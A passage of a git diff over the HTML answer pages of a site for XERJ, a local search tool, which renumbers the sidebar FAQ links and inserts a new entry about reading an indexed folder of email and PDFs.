4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-engine-without-docker.html b/landing/answers/search-engine-without-docker.htmlindex 244779a99..1300f4865 100644--- a/landing/answers/search-engine-without-docker.html+++ b/landing/answers/search-engine-without-docker.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class="active"><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class="active"><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-file-contents-in-a-folder.html b/landing/answers/search-file-contents-in-a-folder.htmlindex 621e2d56e..0eafb7965 100644--- a/landing/answers/search-file-contents-in-a-folder.html+++ b/landing/answers/search-file-contents-in-a-folder.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class="active"><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-files-in-an-s3-bucket.html b/landing/answers/search-files-in-an-s3-bucket.htmlindex 9b27b61f6..67437ebe5 100644--- a/landing/answers/search-files-in-an-s3-bucket.html+++ b/landing/answers/search-files-in-an-s3-bucket.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a 